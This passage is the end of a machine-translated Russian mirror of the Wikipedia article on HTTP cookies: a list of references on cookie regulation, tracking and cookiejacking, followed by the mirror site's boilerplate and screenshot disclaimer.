  79. ^ Перейти обратно: а б Управление комиссара по информации (2019). Обновить отчет с помощью рекламных технологий и ставок в реальном времени (PDF) .
  80. ^ «Рассмотрение № 2019-093 от 4 июля 2019 года об утверждении руководящих указаний по применению статьи 82 закона от 6 января 1978 года с поправками к операциям чтения или записи в пользовательском терминале (в частности, к файлам cookie и другим трассировщикам) ( исправлено)» . www.legifrance.gouv.fr . Проверено 6 июня 2021 г.
  81. ^ «EUR-Lex - 62017CC0040 - RU - EUR-Lex» . eur-lex.europa.eu . Проверено 6 июня 2021 г.
  82. ^ «Закон ЕС о файлах cookie: хватит ныть и просто продолжайте» . Проводная Великобритания . 24 мая 2012 года. Архивировано из оригинала 15 ноября 2012 года . Проверено 31 октября 2012 г.
  83. ^ Кампанос, Георгиос; Шахандашти, Сиамак Ф. (2021). «Принять все: ландшафт баннеров с файлами cookie в Греции и Великобритании». Безопасность ИКТ-систем и защита конфиденциальности . ИФИП: Достижения в области информационных и коммуникационных технологий. Том. 625. Чам: Springer International Publishing. стр. 213–227. arXiv : 2104.05750 . дои : 10.1007/978-3-030-78120-0_14 . ISBN  978-3-030-78119-4 . ISSN   1868-4238 . S2CID   233219491 .
  84. ^ Сантос, Кристиана; Нувенс, Мидас; Тот, Майкл; Белова, Наталья; Рока, Винсент (2021), Грушка, Нильс; Антунес, Луис Филипе Коэльо; Ранненберг, Кай; Дрогкарис, Прокопиос (ред.), «Платформы управления согласием в соответствии с GDPR: процессоры и/или контролеры?» , Технологии и политика конфиденциальности , Конспекты лекций по информатике, том. 12703, Чам: Springer International Publishing, стр. 47–69, arXiv : 2104.06861 , doi : 10.1007/978-3-030-76663-4_3 , ISBN  978-3-030-76662-7 , S2CID   233231428 , получено 6 июня 2021 г.
  85. ^ «P3P: Платформа настроек конфиденциальности» . W3C . Проверено 15 октября 2021 г.
  86. ^ Зейдервен Боргезиус, Ф.Дж.; Круикемайер, С.; С. Бурман, С.; Хелбергер, Н. (2017). «Отслеживание стен, выбор «бери или оставь», GDPR и Положение о конфиденциальности электронных данных» . Обзор европейского законодательства о защите данных . 3 (3): 353–368. дои : 10.21552/edpl/2017/3/9 . hdl : 11245.1/dfb59b54-0544-4c65-815a-640eae10668a .
  87. ^ «Руководство 05/2020 по согласию в соответствии с Регламентом 2016/679 | Европейский совет по защите данных» . edpb.europa.eu . Проверено 6 июня 2021 г.
  88. ^ «Лазейка, достаточно большая, чтобы в нее пролезло печенье» . Биты . Нью-Йорк Таймс. 17 сентября 2010 года. Архивировано из оригинала 26 января 2013 года . Проверено 31 января 2013 г.
  89. ^ Пегораро, Роб (17 июля 2005 г.). «Как заблокировать файлы cookie отслеживания» . Вашингтон Пост . п. Ф07. Архивировано из оригинала 27 апреля 2011 года . Проверено 4 января 2009 г.
  90. ^ Франциско, Томас Клэберн в Сан. «Что такое CNAME в вашей игре? Это отслеживание на основе DNS игнорирует защиту конфиденциальности вашего браузера» . www.theregister.com . Проверено 6 июня 2021 г.
  91. ^ Димова Яна; Ачар, Гюнес; Олейник, Лукаш; Йосен, Воутер; Ван Гетем, Том (5 марта 2021 г.). «CNAME игры: крупномасштабный анализ уклонения от отслеживания на основе DNS». arXiv : 2102.09301 [ cs.CR ].
  92. ^ Зеттер, Ким (23 марта 2011 г.). «Взломщик получил 9 фиктивных сертификатов для известных веб-сайтов; их следы — Иран — уровень угрозы — Wired.com» . Уровень угрозы . Архивировано из оригинала 26 марта 2014 года. {{cite web}}: CS1 maint: неподходящий URL ( ссылка )
  93. ^ Перейти обратно: а б с Финкл, Джим (25 мая 2011 г.). «Последняя угроза безопасности Microsoft: Cookiejacking » . Рейтер . Архивировано из оригинала 30 мая 2011 года . Проверено 26 мая 2011 г.
  94. ^ Уитни, Лэнс (26 мая 2011 г.). «Исследователь безопасности обнаружил риск «cookiejacking» в IE» . CNET . Архивировано из оригинала 14 июня 2011 года . Проверено 6 сентября 2019 г.
  95. ^ Филдинг, Рой (2000). «Полевая диссертация: ГЛАВА 6: Опыт и оценка» . Архивировано из оригинала 27 апреля 2011 года . Проверено 14 октября 2010 г.
  96. ^ Тильков, Стефан (2 июля 2008 г.). «REST-анти-паттерны» . ИнфоВ. Архивировано из оригинала 23 декабря 2008 года . Проверено 4 января 2009 г.
  97. ^ Хоффман, Крис (28 сентября 2016 г.). «Что такое файлы cookie браузера?» . Как компьютерщик . Проверено 3 апреля 2021 г.
  98. ^ «Браузершпион» . Gemal.dk. Архивировано из оригинала 26 сентября 2008 года . Проверено 28 января 2010 г.
  99. ^ Тесты раскрытия информации браузера «IE «по умолчанию [sic]»: clientCaps» . Mypage.direct.ca. Архивировано из оригинала 5 июня 2011 года . Проверено 28 января 2010 г.
  100. ^ Экерсли, Питер (17 мая 2010 г.). «Насколько уникален ваш веб-браузер?» (PDF) . eff.org . Фонд электронных границ. Архивировано из оригинала (PDF) 15 октября 2014 года . Проверено 23 июля 2014 г. .
  101. ^ «Window.sessionStorage, Веб-API | MDN» . http://developer.mozilla.org . Архивировано из оригинала 28 сентября 2015 года . Проверено 2 октября 2015 г.
  102. ^ «Введение в постоянство» . microsoft.com . Майкрософт. Архивировано из оригинала 11 января 2015 года . Проверено 9 октября 2014 г.
  103. ^ «Изолированное хранилище» . Microsoft.com . Архивировано из оригинала 16 декабря 2014 года . Проверено 9 октября 2014 г.

Источники

  • Anonymous, 2011. Атака Cookiejacking крадет учетные данные для доступа к веб-сайту. Informationweek - Online, стр. Informationweek - Online, 26 мая 2011 г.
Послушайте эту статью ( 1 час 1 минута )
Продолжительность: 1 час 0 минут 31 секунда.
Разговорная иконка Википедии
Этот аудиофайл был создан на основе редакции этой статьи от 28 мая 2016 г. ( 28 мая 2016 г. ) и не отражает последующие изменения.
( Аудио помощь · Больше устных статей )
Викискладе есть медиафайлы, связанные с файлами cookie HTTP .
Retrieved from "https://en.wikipedia.org/w/index.php?title=HTTP_cookie&oldid=1237321147#EU_cookie_directive"
Arc.Ask3.Ru: конец переведенного документа.
Arc.Ask3.Ru
Номер скриншота №: a724f6127f51d36ad58400e2bfa02bdd__1722220860
URL1:https://arc.ask3.ru/arc/aa/a7/dd/a724f6127f51d36ad58400e2bfa02bdd.html
Заголовок, (Title) документа по адресу, URL1:
HTTP cookie - Wikipedia
Данный printscreen веб страницы (снимок веб страницы, скриншот веб страницы), визуально-программная копия документа расположенного по адресу URL1 и сохраненная в файл, имеет: квалифицированную, усовершенствованную (подтверждены: метки времени, валидность сертификата), открепленную ЭЦП (приложена к данному файлу), что может быть использовано для подтверждения содержания и факта существования документа в этот момент времени. Права на данный скриншот принадлежат администрации Ask3.ru, использование в качестве доказательства только с письменного разрешения правообладателя скриншота. Администрация Ask3.ru не несет ответственности за информацию размещенную на данном скриншоте. Права на прочие зарегистрированные элементы любого права, изображенные на снимках принадлежат их владельцам. Качество перевода предоставляется как есть. Любые претензии, иски не могут быть предъявлены. Если вы не согласны с любым пунктом перечисленным выше, вы не можете использовать данный сайт и информация размещенную на нем (сайте/странице), немедленно покиньте данный сайт. В случае нарушения любого пункта перечисленного выше, штраф 55! (Пятьдесят пять факториал, Денежную единицу (имеющую самостоятельную стоимость) можете выбрать самостоятельно, выплаичвается товарами в течение 7 дней с момента нарушения.)